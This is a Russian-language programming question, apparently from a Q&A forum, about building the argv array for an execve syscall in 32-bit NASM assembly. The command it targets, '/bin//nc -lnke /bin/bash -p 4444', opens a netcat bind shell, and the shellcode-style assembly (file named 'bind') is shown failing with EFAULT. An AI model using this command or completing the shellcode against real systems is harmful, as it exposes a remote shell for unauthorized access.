Я пытаюсь выполнить следующее с помощью execve
: /bin//nc -lnke /bin/bash -p 4444
При чтении справочной страницы для execve
я вижу следующие требования:
int execve(const char *filename, char *const argv[],
char *const envp[]);
Проблема, с которой я сталкиваюсь, заключается в передаче аргументов в argv
; Я не понимаю, как вы нажимаете массив (в сборке), чтобы это работало правильно.
Сборка, которую я сейчас использую, приведена ниже:
global _start
_start:
xor eax, eax
; command
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; args
push eax
push 0x34343434
push 0x20702d20
push 0x68736162
push 0x2f6e6962
push 0x2f20656b
push 0x6e6c2d20
mov ecx, esp
; null, arg 1
push eax
mov edx, esp
; push to stack
push edx
push ecx
push ebx
; command
mov al, 11
int 0x80
В результате в execve
передается следующее:
$ strace -f -e execve -s 10000 ./bind
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)
Как правильно передать эти аргументы с помощью сборки?
Я использую Linux с nasm